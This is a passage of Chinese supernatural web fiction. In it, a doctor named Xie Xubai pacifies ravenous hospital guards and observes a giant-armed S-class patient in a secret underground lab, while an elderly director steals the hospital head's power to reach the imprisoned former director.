场面滑稽得就像两只猫打架,黑猫张牙舞爪地发出攻势,白猫淡定地蹲在原地,只在黑猫扑上来的时候挥动爪子。 第一秒,快准狠地按住猫脑袋。 第二秒,啪的一声把它给摁地上。 ——完美镇压。 谢叙白审视着蒙面人,警惕他突然暴起,试探性地问:“你想吃了我?” 蒙面人回神,又开始吞咽口水。 “单纯地想吃我,还是因为我违反了什么规定?” 蒙面人目不转睛:“咕噜。” 只是单纯的食欲么。 谢叙白沉吟片刻,分出一缕精神力:“它身上也有我的气息,如果你愿意听我的话,我可以让你尝一尝。” 李主任还没来得及从震惊中回神,就听到这段不同凡响的发言,瞬间鬓角青筋一阵抽搐。 他一言难尽道:“谢主任,精神力是能量体,怎么可能给人吃,你到底……” 其实李主任更想知道谢叙白为什么会这么淡定,还这么熟练。 这可是被人当成食物攻击,换成谁都会忍不住发狂报复!到底是他太大惊小怪,还是谢叙白根本不正常? 紧接着,更让李主任傻眼的事情发生了。 只见蒙面人歪了歪脑袋,琥珀兽瞳望着谢叙白,居然真的收拢手脚,一动不动。 谢叙白也遵循自己的诺言,将套住蒙面人的精神力分出一小缕,化解凌厉的攻击性,变作温和无害的光团。 蒙面人将面罩从下往上拉起一小截,试着舔一口。口感像烤得软乎乎的棉花糖,几乎甜化了舌尖。 他双眼乍亮,迫不及待地叼在口中。 但没吃,也没走,继续虎视眈眈地盯着谢叙白。 蒙面人什么话都没说,谢叙白却懂他的意思,声线微冷:“从我面前离开。如果不走,这一份你也别想吃。” 仿佛应召着谢叙白的话,蒙面人口中的金色光晕朝外溢散,像阳光下融化的冰,整体缩小一圈,几乎要含不住。 “!” 他瞳孔扩张,心疼得滴血,护食般死死捂住嘴巴里的光团,从原地闪现消失。 李主任看完一整个过程,如同晴天霹雳当头砸下,三观被劈了个粉碎。 “……谢主任?” 谢叙白笑了笑:“我以前救治过这种异食癖的患者,喜欢吞食精神力是他们的特性,只要找准需求就好说服。” 别看他表面风轻云淡,内心却无奈到叹气。 他总不能告诉对方,宴朔的意识体分身全是这个鬼样子。 他不是淡定,是麻木和见怪不怪。刚才习惯性用精神力做诱饵,没想到真的有效。 但这也延伸出一个更大的问题。 对上恍恍惚惚的李主任,谢叙白真诚地提议道:“李主任,要不我们以后再找机会来吧。” “什么意思?” 李主任顺着他的视线,不明所以地看过去,瞬间一激灵。 黑夜中,数不清的防卫科成员齐聚在监察区门口。眼珠子绿幽幽的,比起人,更像一群如饥似渴的饿狼。 原本发现外人到来,他们眼中满是警备和警惕,如今只剩下赤裸裸的贪食欲。 李主任的头皮都要炸开了:“难道不能按刚才的方法一个个地喂过去?” 此话一出,所有防卫科成员喉结滚动,吞咽唾沫的声音此起彼伏,肉眼可见的亢奋激动。 谢叙白沉声道:“没那么简单。喂一群和喂一个不同,谁都想多吃一点,如果有一个喂多了,其他的会跟着闹,追着讨食,乃至于全体失控!” 语气沉郁得像经验之谈。 李主任不敢置信:“你还真喂过一群??” 谢叙白:“别说了快走!” 防卫科的人已经急不可耐地动了。 他们或许没有最开始的蒙面人速度快,但也是行动果决,动如雷霆。 眨眼时间,数道人影似飓风掠过,追击着谢叙白两人的脚步。 谢叙白当机立断,将李主任大力推开,同时分出几缕精神力抛洒出去。 前排的防卫科成员瞬间去抢那几团金光,身后的人紧跟其上。 谢叙白大声道:“李主任,您先走!” 事情闹到这个份儿上,两人怎么可能看不出来防卫科全体都是冲着青年去的。 李主任被谢叙白推出包围圈,见青年充当吸引仇恨的诱饵,艰难躲避防卫科的追击,忍不住怒声爆出一句国骂。 此前他只觉得防卫科是傅倧的走狗,现在真切体会这群疯子的棘手性,感觉简直像日了狗。 为什么防卫科会突然暴走? A级重症患者被恶意放出的那天,他们过来维持秩序的时候又不是没有见过谢余,那阵可没这么疯狂! ……等一下。 李主任脚步一僵,猛然瞪大眼。 是他想岔了! 防卫科因为实力莫测,行事作风极其乖张,被全医院视为洪水猛兽,一般只留守在特级监察区。 但凡他们出面,必定引起一番骚动,毫无动静反倒证明古怪至极。 李主任额头冷汗急剧淌落,没来由地想起傅倧那天晚上反驳他的一句话。 【出事的时候我比你们更早赶到谢主任的诊室,几位老眼昏花看不见,难道还能怪我?】 也是这种时候,他才忽然醒悟过来,那可能不是傅倧的随口搪塞。 意味着——动乱发生当天,傅倧确实及时赶到了现场。 结果防卫科突然发疯,打了他一个措手不及。 为了压制住这群失控的狗,傅倧只能暂时退场,这才没跟他们撞上面! 可是现在说那么多都晚了。 李主任手忙脚乱地追过去,眼看谢叙白再次陷入防卫科的包围圈,急得嘴皮子冒泡。 之前那些尝过精神力甜头的成员,也意犹未尽地追过来,堵成更加密不透风的人墙。 谢叙白眼神一冷。 如非必要,他不想在医院里伤人。特别防卫科还是傅倧的直属手下,万一闹僵不好收场。 李主任也是这样想的,事情闹大会让傅倧加强戒备,以后想要再找机会带谢叙白潜入,更是难上加难。 然而这群人步步紧逼,没可能善罢甘休。 老人咬紧牙关,像在挣扎,终于心一横,笼罩在谢叙白头顶的影子飞速下压。 千钧一发之际,一声厉喝穿透冰冷的寒风:“都给我站住!” 所有防卫科成员就像被施下定身术,倏然停顿,眼神涣散。 谢叙白和李主任抬头看去,看见傅倧站在疗养大楼门口,脸色难看地瞪着他们。 “还在那愣着干什么?都进来。” 谢叙白和李主任对视一眼,毫不犹豫地起身上前,紧跟在傅倧的身后,快步进入大楼正门。 就在他们身影消失的十秒后,防卫科成员快速眨眨眼睛,恢复神采。 十几双眼珠子直勾勾地盯着谢叙白离去的方向,半晌才回头。 不知道是谁先开口,像是多年不曾张嘴说话,声音干涩得宛若老旧的破风箱:“……是他?” 其中几名成员不约而同地舔一舔嘴角,喉结滚动:“咕。” 没能尝到精神力的其他人眼神更冷了,似乎有点恼怒和委屈,琥珀色的眼睛隐约透出猩红血色。 “骗子。”所有人的声线整齐划一。 抱怨完,他们一个个围在疗养大楼的门前,固执地等待青年再次出现。 乍然看去,像极一座座笔直的瞭望台。 疗养大楼内部灯火通明,恒温系统持续作用,散发温暖的热气,将寒冷昏暗隔绝在外。 李主任还在想怎么解释才合理,结果忽然听到前方人声鼎沸。 再一抬头,看见一大群穿白大褂的身影。 有本院的主任医师,也有外院的知名医生。 吵吵嚷嚷,热闹至极。 李主任都快惊呆了,手指哆哆嗦嗦地指过去:“他们怎么会在这儿?” 傅倧目光瞥过去,理所当然地反问:“他们为什么不在这儿?” 等到李主任几乎红了眼,他才有意无意地轻笑一声:“S级患者【长臂】的病情始终得不到好转,所以我在今晚开展专家会诊,看能不能缓解他的病症。怎么,你俩难道没有收到消息?” 李主任:“……” 谢叙白和傅倧视线交接,瞬间意会,拿出手机翻看:“确实没有。” “哦。”傅倧无所谓地道,“那可能是行政漏发了吧。” 李主任听到这话,怒火噌噌往上冒。 可傅倧只用一句话就把他的质问堵了回去:“既然你们没有收到消息,那为什么会出现在监察区?” 李主任自然解释不出来。 想到一会儿能看见那名S级患者,验证对方是不是前院长,老人将怒火强行压下:“当然收到了。” 傅倧看他的脸色一阵青一阵白,再度发出嗤笑,漫不经心地走开。 谢叙白一直知道,进入监察区的事情瞒不过傅倧。 白天他将这件事隐晦地告知对方,傅倧让他不要理会,跟着李主任该做什么就做什么。 他当时好奇对方有什么应对的办法,没想到竟然会直接开诚布公。 如今他明面上还和李主任是一伙人,自然要表现得愤慨一些。 只是想起被防卫科围攻时,始终遮在头顶的影子,谢叙白缓和声线劝道:“走吧李主任,我们想看的东西就在前面了。” 李主任勉强理顺气:“走吧。” 而傅倧也没有刻意拖延,等谢叙白他们抵达后,带着所有医师团队,来到前往地下看押场所的重型升降机前。 咔—— 厚重的金属大门轰然打开,带动整栋大楼轻微震颤,一片冰冷的白雾顺着地板溢散而出。 第72章 又一位S级患者?…… 步入升降机后,谢叙白能明显感觉到气温骤降十几度。 冷气似冰刀刮着皮肤,激起一片鸡皮疙瘩。冷暖交替,形成鲜明对比。 他皱了皱眉头,看向右上角的室内温度计。 【温度:13.1℃ 】 【相对湿度:38.7%】 但比起常规温度计,这里的显示条目还多出一项。 【区域污染值:18%】 谢叙白大概能从现今情况理解,上面的污染值不是指空气质量指标,而是一种异化值。 不止是医生的精神力可以化作实质,病患意识世界的污染,似乎也会化作一种看不见摸不着的微观物质,感染扭曲其他正常的事物,进而影响到现实世界。 就像恶性污染病里的病毒。 走出升降机,眼前的视野豁然开朗。 正前方是一条笔直的长廊,头顶的白炽灯将整个通道映照得森冷惨白。每隔十米有一处安检和中型金属门,需要接连认证三次身份。 四面八方包括天花板和地板,都是银白色的合金墙面,严丝合缝,看不出一丝混凝土的痕迹。 空气内循环系统持续作用,从头顶传来嗡嗡的声响。 异化专区的墙壁至多三个夹层,这里的防爆墙起步就是50厘米。 实验桌、玻璃器皿、各种化学药剂和标本架,还有各种超高精度仪器,在这里面随处可见。 一股肃穆严谨的科研气息扑面而来。 至少谢叙白现在可以确定,李主任说第一医院曾经是秘密研究基地,并不是无的放矢。 ——谁家正经医院会在地下几十米的地方,设置这么一个研究设备完善、防御系统严密的秘密场所? 他抬眼扫向周围形形色色的面孔。 学术研讨会向来是安静不下来的。 在他和李主任加入后,不少憧憬李主任的后辈过来请教平日难解的疑难杂症。 因为他差点打破第一医院的最高救治记录,顺便提到了他。 议论声此起彼伏,嘈杂喧闹。 因为规则的限制,对非相关领域的人群来说,这些全都属于禁忌知识,别说学习记忆,就是简单地尝试认知,都可能让自己陷入疯狂。 他们却能怡然自得,泰然处之。 这就是异化世界中【身份】的重要性。 警卫人员道:“前面就是S级病患【长臂】的活动区域,需要进行全身消毒。为了各位的生命安全考虑,请穿上防护服。” 谢叙白跟其他人接受消毒。 李主任不知道去了哪里,再回来时递出一套防护服,比起常规样式,明显更厚实一点。 谢叙白顺手摸了上去,里面不知道采用什么材质,蓬松柔软,果然要暖和很多,惊喜道:“谢谢。” 教导江凯乐跳舞时,他苦练过体力。 之后陆陆续续报过什么攀岩班、格斗班,各种训练一样没落下。 结果却是,虽说理论技巧学会不少,但身体素质就像被定死般毫无改变。这么久的时间,还是战五渣。 据说为了降低生物活性,这里的冷气开得很足。谢叙白身为纯人类,一路走来实在被冻得够呛。 暖水袋在被防卫科追击途中弄丢了,李主任也拿出相同制式的防护服穿上,冲他摇了摇头:“你还这么年轻,身体就虚成这样,以后找时间锻炼锻炼。” 这话由他来说没毛病,毕竟他岁数大得可以当谢叙白的爷爷辈,结果扭头一看,年轻人比他抖得还夸张。 谢叙白干笑一声答应下来,穿上防护服后,果真好受许多。 因他和老人关系拉近不少,至少能看出李主任对他再无戒心,便大着胆子询问:“您以前是不是这里的研究人员?” 李主任一顿,深沉地看向他:“你怎么知道?” “刚才的警卫没提,我都不知道还有这种加厚加绒样式的防护服。但您也没问,直接找警卫借身份卡,把防护服拿了过来。” 从进入这所秘密基地开始,老人给人的第一感觉,就是对这里很熟悉。 谢叙白关注李主任的脸色,适时止住话题:“抱歉……或许我不该提。” “没什么不该提的,反正都是些再也找不出痕迹的往事。” 李主任断然开口,和听到动静扭头的傅倧对视一眼,扯了扯嘴角:“是,为了追随前院长,我确实在这里工作过一段时间。” 说完,他盯着谢叙白,语重心长:“你的观察力超乎寻常,这是你的优势。” “多看多想,没什么坏处。别到时候像我一样始终被人瞒在鼓里,最后为虎作伥,助纣为虐。” 傅倧无声移开视线,语气如常地道:“都穿好防护服了?大家进去吧。” 被李主任当着谢叙白的面指桑骂槐一通,中年男人看似无动于衷,手指却悄无声息地攥紧,又在刹那间松开。 谢叙白没有忽略这个细节。 难道说李主任曾经是傅倧的下属?为什么他们会闹到今天这种地步? 带着疑问,谢叙白与其他人一同踏入S级患者的活动区,走进位于高空的观察室。 他惊讶地发现,里面居然是一个枝繁叶茂的生态园! 大范围栽种的似乎是某几类耐寒植物,场地很开阔,至少有区县级别的足球场那么大。灯光模拟春季日光,温暖舒适,完全没有想象中的阴森。 其他人则第一时间来到观察窗口,目测和地面的距离,放心地松上一口气。 位置高才好,安全。 这时有人注意到,观察室的左上角玻璃趴着一道粗长的阴影,很像蛇的影子。 他瞬间头皮发麻,往后退开几步:“你们还会投放生物进去?用来陪伴患者?” 傅倧微妙地扯了下嘴唇:“不……” 那道阴影不知道是不是感受到人群的到来,唰一下抽开。 没错,是抽开,不是跳开或弹开! 细长黑影像一根凌空甩开的长鞭,以极其尖锐的姿态刺入众人的视线! 明亮的灯光照清它的全貌,清晰明了的肌肤纹理,古铜色的皮肤,由粗至细的肌肉线条。 ——那分明是一截手臂。 一截足以贯穿整个观察窗口、整整十五米长的手臂,并且没有露出手腕和胳膊肘! 谢叙白瞳孔扩张,比其他人更加惊异。 只因他比其他人更快反应过来,此时他们正身处于离活动区地面五十多米的高空也就意味着,这条手臂若是想要伸到这里,至少还要再多出五十米! 难以想象这条手臂实际得有多长! 安全距离瞬间被打破,仿佛下一秒那条手臂就能拍下来,让他们尸骨无存。 很快有人陆续意识到这点,一个劲儿往后退,一直退到大门口,后背抵住墙壁,惊恐怒骂:“傅院长!你们工程部是干什么吃的,为什么要将观察室建到患者能够接触的地方!” 这可是S级患者,不是什么阿猫阿狗,一般的防护屏障根本拦不住! 傅倧淡定道:“这地方总共就这么大,工程部又能有什么办法?总不能把所有地盘都拿来充当病患的活动室。” “放宽心,长臂这个月的心情还不错。”他说,“至少那些植物活得好好的,我们医院财政的头发还勉强保得住。” 话音刚落,众人猝然感受到一股铺天盖地的威压,如同千斤巨石压在心口,心跳几乎狠狠空了一拍,冷汗争先恐后地往下淌。 地板在摇晃,整个空间在震动。 两道粗壮的影子瞬间从密林的西边蹿到东边,眨眼间穿过整片生态林园。 那看似寻常粗细的成人手臂,只是轻轻地往树身上一拍,成片的巨树就像被镰刀收割般轰然倒下,泥土纷飞,发出惊天动地的震响! 不过呼吸的间隙,枝繁叶茂的生态园化作满目疮痍的废墟。 胆子小的,在威压临身的一刻就被吓破了胆,直接腿一软,跪坐在地上,青白着脸说不出话。 哪怕傅倧习以为常,看着看着,也忍不住揉了揉胀痛的眉心。 到底是见过大场面的院长,肉痛没多久就缓和过来,堆出礼貌性的微笑,看向众人:“好了,大家集思广益,看过他的症状后,各位有没有什么有效治愈的想法?尽管畅所欲言。” 全场一片死寂。 他们死死抵在门口,确定长臂不会对观察室出手后,方才找回自己的心跳声。 其中一人黑着脸:“距离太远,没法进行精神共振,能不能先用手段让他安静下来?” “可以,但最多安静十秒,十秒后直接进入狂暴状态。” 那人差点叫出来:“才十秒——”甚至都跑不出臂展范围! “我们连接近他五米内都做不到,还要怎么给他治疗?” 哪怕有隔离层阻断S级的气息,级别低的医师胃里也是一阵翻江倒海,捂着嘴巴连连作呕,脸色惨白如纸,站都站不起来,被警卫搀扶回休息室。 在场人数瞬间少掉一半。 剩下的人脸色也是极其难看,忍不住问傅倧:“你真觉得他有被治疗成功的可能性?” “有。”出乎意料,傅倧的眼神和语气都相当坚定,又像是执拗地咬着什么,不肯松口。 下一秒,他又无所谓地勾了勾嘴唇:“但今天可能不行。” 瞄着中年男人脸上的笑,众人登时有股被看轻的恼怒感。 事实是他们确实无从下手。 一名专家恼怒开口:“既然你觉得我们没可能治好他,为什么还要把我们叫过来?” “如果不让你们亲眼目睹,你们怎么能体会到S级患者的可怕?”傅倧当场卖惨,面上黯然神伤,“要知道第一医院真的很难,长臂只有在绿树成荫的生态园才能安稳下来,可他又压不住自己的破坏欲。” “如今我们损耗巨大,财政吃紧,急需各位的资助啊。” 所有人恍然大悟,感情傅倧把他们叫过来,是讨饭来了。 TM的,坐拥黄金地带,每天收治那么多病人,说自己没钱花,唬谁呢?啊? 傅倧早有说辞,遗憾叹气:“等到真的控制不住他的那一天,我也没办法,只能让长臂转院。” “初定在城西的疗养院,没记错的话似乎离第二医院很近?唉,到时候如果给大家造成困扰,还请多多见谅。” 靠,哪儿来的土匪强盗! 众人听着这一番威胁话,嘴角疯狂抽搐。 特别是第二医院的人,来之前以为可以大施拳脚,谁想到是设坑让他们跳,瞬间肠子都悔青了。 谢叙白见李主任贴近观察窗口,跟着走过去。 老人死死地盯住两条手臂的源头,却有几棵树半倒不倒,挡住人影,根本看不清楚。 “没有监控吗?能不能让我们看看患者的长相。”谢叙白转身提议。 傅倧微顿,深深地看着谢叙白,淡声道:“装不了,不管装在什么地方都会被长臂拆掉,他对监控镜头很敏感。” 谢叙白抿了抿嘴唇,正想着用什么话安慰李主任,便听到老人一字一顿地说:“我留在这里,直到看清楚为止,你想离开就先走,不用顾忌我。” 老人鬓发全白,皮肤起皱,被岁月磋磨的痕迹在这张悲怆的脸上格外明显。 “……其实我知道。”他的脸因绷紧而轻微颤抖,声音喑哑得不像话,“傅倧敢叫这么多人来,就说明那人绝对不是前院长。” 但他还是想确认一下,哪怕希望渺茫。 “……”谢叙白默了默:“好。” 他没走,留在老人的身边,尝试和长臂建立精神共振。 精神力波动传开的瞬间,不止傅倧变了脸色,在场其他人也是一脸震惊。 “你在干什么?”傅倧忍不住呵斥道,“精神力的传递有距离限制,别试图做这种无用功。” “没有。”谢叙白全神贯注地使用精神力,没法分心答话,说话言简意赅,“那名患者在说话。” 说话? 众人竖耳聆听,除了两条手臂疯狂肆虐、抽打地面的噪音,什么也没听到。 “在说什么?”有人好奇问。 谢叙白专注到一定程度,眼睛越来越亮,宛如散着让人退避的锋芒:“他说……跳下来吧。” 从五十米的高空跳下去?这分明在蛊惑人自杀! 有人面露惊异:“难道长臂还能蛊惑人心?” 傅倧脸色煞白,一把拽住谢叙白的手臂,让青年强行中断共振状态:“够了停下来!我会想办法让你们看到他的脸。” 他咬牙切齿,要不是长臂排斥镜头,也不至于一张照片都拍不下来。 谢叙白怔怔地看着【长臂】所在的位置,尽管那里被树木和舞动的手臂笼罩。 在精神共振被打断的瞬间,他仿佛能看见一道瘦削的人影踮起脚尖,目光炯炯,如痴如狂,朝着众人竭力张开双臂。 【跳下来吧,跳下来,不要怕——】 【我会,会,接住你们的!】 谢叙白猛然回神,反手抓住傅倧:“医院里是不是有那种人体模型,能不能拿无人机送到病患的上空?” 众人听到这前言不搭后语的话,简直一头雾水。 唯独傅倧像是想起什么,不可思议地看着谢叙白,而后反应极快地找警卫人员去拿模型。 当人体模型从高空投放进场地,所有人发现【长臂】的动作出现刹那间的静止。 他竟然安静下来了? 紧接着,两条手臂犹如狂风骤雨般冲向高空。 它们的柔软度和绳子相差无几,重三叠四地交织在一起,瞬间编织成结实的大网,稳稳接住摔下来的模型。 没有那些碍事的手臂阻挡视线,众人终于成功看见长臂的脸。虽说距离有点远,但对异化的人群来说不是问题。 那张脸没有出众的特点,仅仅是一张普通中年男性的脸,浓眉粗鼻头,下巴长着茂密的胡茬,双眼无神空洞。 谢叙白去看李主任的反应。老人瞳孔颤动,最终遗憾地黯淡下去。 “不是前院长。” 事情结束后,傅倧没管失魂落魄的李主任,借谢叙白刚才的提议为由头,将青年单独叫过去。 中年男人皮笑肉不笑地道:“看来你和李老的关系处得不错,他没能得偿所愿,至于你在旁边急成那样?” “……”谢叙白莫名感觉这话有点毛骨悚然,轻咳一声,“不是您说的吗?让我跟在李主任的身边,该做什么就做什么。” 傅倧意味不明地看他一会儿,扬了扬嘴角:“今天你在医院逛了一天,有没有想明白原来的周主任和新来的赵主任为什么会变成那样?” 谢叙白没有添加周主任的联系方式,无从知道对方进入医院前的境况。 但傅倧主动给他提供了这个信息。 他神色一动:“因为他们的位置。” 虽然是主任,但实力不足以在这种竞争激烈的地方站稳脚跟,随时有被轰下台的风险,手底下的人都能给他们脸色看。 最后只能靠依附更强大的人,习惯溜须拍马,阿谀奉承。 谢叙白不由得生出更多的疑问。 实习护士们会被裹挟,主任也会被裹挟,那么院长呢? 是会被裹挟得更厉害,还是手掌大权,要风得风,要雨得雨? 谢叙白没有问出口,他知道傅倧对自己的信任还不够。不是关系不够亲密,是能否把真相和重担全盘拖出的信任。 傅倧似是满意地点点头,不吝笑容道:“脑子不算笨。走吧,带你参观一下这里,虽然已经弃用很久了,但有些机器还没坏。” 谢叙白听出他言外之意,有点惊奇:“您难道想让我上手操作?” 傅倧知道他在顾虑什么:“放心,基础仪器,捣腾坏了也不心疼,那些贵重玩意我还指望卖个高价回回血,舍不得给你糟蹋。” “再说你简历上不是写着实操课回回满分,还拿过竞赛奖,这么没自信?” “我只是受宠若惊,您对我真的太好了。”谢叙白眨眨眼,“难道说——您就是我多年流落在外的亲生父亲?” 傅倧脚步一僵,听出他的试探,似笑非笑地瞥过去:“这么喜欢耍嘴皮子,谢主任不去当HR真的可惜了,医院招生办理当有你的一席之地,要不我帮你引荐引荐?” 谢叙白连忙笑着讨饶。 他在后面,没能看见傅倧的正脸,自然也没看见对方高高挑起的嘴角。 接下来的时间,除去标有禁止进入的危险地带,傅倧真就带谢叙白在整个基地里逛了个遍。 也不是像嘴上说的那样,只让他使用廉价的仪器,而是什么高精度高造价的设备,都想着让谢叙白上手。 谢叙白原本有点压力,再度体会到学生时代对科研的兴趣后,逐渐放开许多。 这里的历史痕迹,记录的都是一些前沿科技,他的技术确实有些跟不上。 但傅倧很耐心,从基础理论到机器调试,再到具体实操,事无巨细,一步步地教授讲解。 谢叙白看得出来傅倧很放松,甚至是有点开心的。 似乎对中年男人来说,这是难得的闲暇时光。 谢叙白定了定神。 知识就在眼前,没有不敞开怀抱吸收的道理,尤其是这些他曾经因为生活窘迫,不得不错过的内容。 接下来,他彻底沉下心,浑然忘我地沉浸在各项实验,哪怕十有八九都会操作不当。 杂乱的知识令他吸收得很艰难,所幸他的记忆力还不错,就算现在没搞懂,过后也能找出时间,一点点地融会贯通。 凌晨开展专家会诊这种事情,也就傅倧做得出来。 专家们从谢叙白的提议中得到启发,聚集在观察室不肯走。不论是解决难以攻克的病症,还是治疗S级病患的重大成就,都让他们欲罢不能。 大半个晚上的时间稍纵即逝。 中途傅倧见谢叙白上手越来越熟练,便放他一个人在这折腾,出去送专家们离开。 谢叙白正专注地看着滴剂,忽然听到门口传来沉重的脚步声。 转头一看,是李主任,他居然没有跟着其他人一起走。 不等谢叙白开口,李主任道:“谢主任,你刚才说自己能听到说话声,是一种什么样的感觉?” 谢叙白观察老人的面色,仿佛被一股浓郁的黑气所笼罩,萎靡不振,阴郁惨淡。 他当即放下滴剂,走出实验室来到李主任的面前:“我很难形容具体是种什么感觉,好像潜意识里有人在呼唤你,直到声音越来越清晰。” “那么。”李主任道,“你现在还能不能听见那些说话声?” 不知道是不是谢叙白的错觉,他感觉李主任浑浊的眼睛亮了一分。 傅倧还没回来,谢叙白直觉李主任的状态不太对,现在节外生枝是愚蠢的做法,干脆地摇了摇头:“抱歉,我听不到。” 李主任顿时惨然一笑:“如果是我死在长臂的攻击下,你也什么都听不到?” 谢叙白心里那股不祥的预感在加大。 电光火石之间,他伸手去抓李主任的身体,结果李主任化作一道影子从他的指缝中溜了出去,并从原地消失。 看着空荡荡的走廊,谢叙白神色一变。 他意识到老人可能会做傻事,毫不犹豫跑向长臂所在的区域。 再然后他听到一阵撕心裂肺的咆哮声——不以单纯的声波传递,只以精神力波动为传输媒介,猛然响彻基地的咆哮声! 谢叙白差点心跳骤停。 他急需分辨那到底是不是老人的惨叫,尝试与咆哮声的主人进行精神共振。 地方很远,必须把精神力铺设开。这个过程消耗巨大,他的脸色终究一点点惨白下去。 终于,谢叙白追溯到精神力的源头,正是【长臂】。 后者不知道被什么事情激怒,正在大发雷霆! 他顾不上其他,焦急地寻找李主任的精神力波动。 像石头击碎镜面,瞬息爆出脆响,谢叙白捕捉到了别的动静! 可反馈过来的精神力波动,却让他不由自主地睁大瞳孔——那竟然又是一个S级?! 难道这家医院有两位S级患者?这怎么可能! 正当这时,一只宽厚的手掌拍在谢叙白的肩膀上。 后者猝然扭头,正对上李主任直勾勾的凝视。 虽说和谢叙白相处的时间不长,但李主任知道,眼前的年轻人不像表面上那么简单。他警惕慎重,思虑颇深,观察入微。若是有人想要对他下手,恐怕得做好被反咬一口的准备。 唯有善良,成了唯一的破绽。 于是李主任暗示青年,自己会去送死,诱导谢叙白将注意力集中在【长臂】所在的方向,从而忽略自己藏身的背后。 直至看见谢叙白在以为自己出事后,肉眼可见的慌乱和焦急。 他到底忍不住现身。 “你是不是听见了其他声音?” 听到这句询问,谢叙白心跳如擂鼓。 但李主任不是在试探他,扯开嘴唇笑了一下:“就算你没听到,我也听到了,那是前院长在呼唤我。本来想找你求证,但是算了。” “傅倧不该放我进来,他以为看见那名S级患者不是前院长,就能让我彻底死心。但他永远都解释不清楚,如果这里只有这位名不见经传的S级,为什么他以前要严防死守,不敢让任何人靠近?” “像他那种喜欢拿鼻孔出气的天之骄子,大概从来没把我放在眼里。”李主任低笑起来,“所以他也不知道我的执念有多深,又为此付出了什么。” 说着,老人的瞳色几经变化,竟然浮现出诡王才有的猩红血色。 那不是一般的血色,纯粹无杂质,如炙热的岩浆在红宝石里流动,镌刻在老人的眼框中,叫人惊心动魄。 动用这股邪异诡谲的力量似乎会蚕食老人的生命力,只是片刻的功夫,后者雪白的发尾就染上不详的焦黑! “您别犯傻!如果您想找前院长,我们完全可以——”谢叙白怒喝。 李主任完全不听,化作影子,包裹住谢叙白的身体。 谢叙白感觉到一股难以抵抗的拖拽力,对方明显在试图把他带出研究基地。 为什么要让他走,李主任到底准备做什么? 他知道没时间再犹豫了,眼神一狠动用精神力,用力攻向捆住自己的影子,只想直接把李主任打晕带走! 谁料到后者老奸巨猾,留下来的是一道分身,被金光稍微冲击,便化为飞灰消散。 谢叙白咬牙切齿,迈步往动静闹出的地方疯狂赶去。 他能感觉到,另一道S级的气息越来越强烈,隐约有将要爆发的趋势! 另一边,刚刚走到大门口的傅倧送别其他医生,礼貌性微笑还没散干净,忽然脸色变得极其恐怖,唰一下转向监察区的方位。 第73章 前院长 谢叙白全力奔跑在空无一人的走廊上,墙上的检测仪器自视野中飞速倒退,刺目的数字钻入眼底。 【区域污染值:31%】 短短十分钟的时间,污染值就上升了13个点! 字体颜色由绿变黄,代表污染值从安全变成轻度污染。 一旦过80成为重度污染,没有防护的人群会在三分钟内异化成重症患者! 眼睁睁看见污染值从31跳到32,谢叙白只恨自己没能多长出两条腿! 但他之前经历过那么场变故,如今算是被打磨出来了,不论内心有多么着急,大脑也能迅速冷静下来,分析情况。 谢叙白飞快翻阅记忆,想起在许氏爱心机构成立初期,吕向财特意告诉过他的一句话。 ——要成为诡王,必须先具备三个条件。 【规则】存在的固有领地,数量众多的臣民,与相较绝对的统治力。 “相较绝对的统治力”。 单这一项条件,直接堵死“一块地盘拥有两位诡王”的可能。 那么李主任会不会是其他地域的诡王? 谢叙白可以肯定,不会。 身份是把双刃剑,【第一医院主任医师】能给李主任带来极大的便利,但也将老人死死囚困在【第一医院】的这方领地无法挣脱,让他没机会去发展自己的势力。 傅倧现在还没有回来,哪怕谢叙白听不到外面的动静,也能隐约猜到对方遇到了麻烦。 什么情况会让傅倧在自己的地盘上被绊住脚? 诸多推测如同断开的线条紧密连接,谢叙白的思维高速运转,眼神越来越锐利。 终于在刹那间,得出个惊人的结论。 呲啦—— 谢叙白猛然刹住脚步。 安检通道近在咫尺,大门敞开,附近空荡荡,看不见一道人影。 强烈的危机感如一道闪电贯穿脑海。 如果他的猜想是对的,那么这背后可能…… 谢叙白凝神观察,在靠近门框的地方看见一截大概指节长短的枪口。 漆黑的枪口微微上抬,蓄势待发。 电光火石之间,谢叙白没有任何犹豫,精神力分成数条细长的钩索,如离弦的利箭飞射出去,径直穿透墙壁。 “啊!”“该死的,哪来的绳子?”“我的……唔唔唔!”…… 门后传来此起彼伏的叫喊声,十几名埋伏于此的警卫猝不及防,被谢叙白一招制服,电击器和麻醉枪噼里啪啦砸在地板上。 谢叙白快步跑进去,看着满地挣扎的警卫,拽起一个人问:“是谁让你们袭击我?” 警卫被他不怒而威的眼神吓住,连忙回答:“谢主任您别生气,是院长刚才叫我们在您赶来的时候打晕您,把您平安送出去!” 谢叙白言简意赅:“哪个院长,叫什么名字? 警卫闻言,茫然了一瞬:“哪个院长……咱们医院不是只有一个李安民李院长吗?” “不对。”,他好像也意识到哪儿有问题,用力地拍打脑袋,嚅嗫嘴唇不确定地道,“我们的院长应该叫傅什么的……?” 谢叙白的心脏顿时沉了又沉。 他的推测没错,果真是李主任短暂窃取了傅倧的诡王身份!在傅倧找到办法重新夺回主权之前,可能没时间赶来救场。 谢叙白抬眼扫向检测器,上面显示污染值已经高达45%,厉声喝令众人:“让地下基地所有人撤离!” 那些警卫置若罔闻,干巴巴地陪笑道:“肯定不行啊谢主任,院长让我们留守在这,我们怎么能……” 谢叙白眼神冷若冰霜,一个字掷地有声:“走!” 金色的精神力倏然变成朦胧的雾状,形如凶猛的风暴骤压在所有人的身上! 警卫们浑身一震,面露惶恐。宛如被猛兽盯住咽喉的颤栗感扑面而来,他们骇然发现自己竟然生不出一丝想要反抗的勇气,反应过来的时候,已经脱口而出:“……是!” …… 李主任循着那道似有若无的呼唤,脚步蹒跚,满是褶皱的手撑在墙壁上,走两步就得停一停,沉重迟缓的呼吸声挤压着憋闷的胸腔。 在诡王面前,所有的机关安检形同虚设。 他一路畅通无阻,最终来到一扇三米高的重型金属门前,恍惚地往上看。 阅历丰富如他,能轻松看出这里的防卫系统属于最顶级的配置,完全是军用级别。 而他在这扇门背后感觉到了前院长的精神力,虽然很微弱,但他绝对不会认错。 ——这里一定是关押前院长的地方。 不知不觉间,检测器上的污染值已经飙升到67%。 字体颜色变成黏稠诡谲的鲜红,好像在一瞬间流淌起来,似血液往下拖曳。 嘹亮的警铃响彻整条走廊,尖锐刺耳,让人想起报丧的鸦啸。 李主任向操作台伸出手,手指颤颤巍巍,冷不丁僵在开门键前。 来时义无反顾,事到临头却突然有些茫然。 打开这扇门的结果,真的会如他所愿? 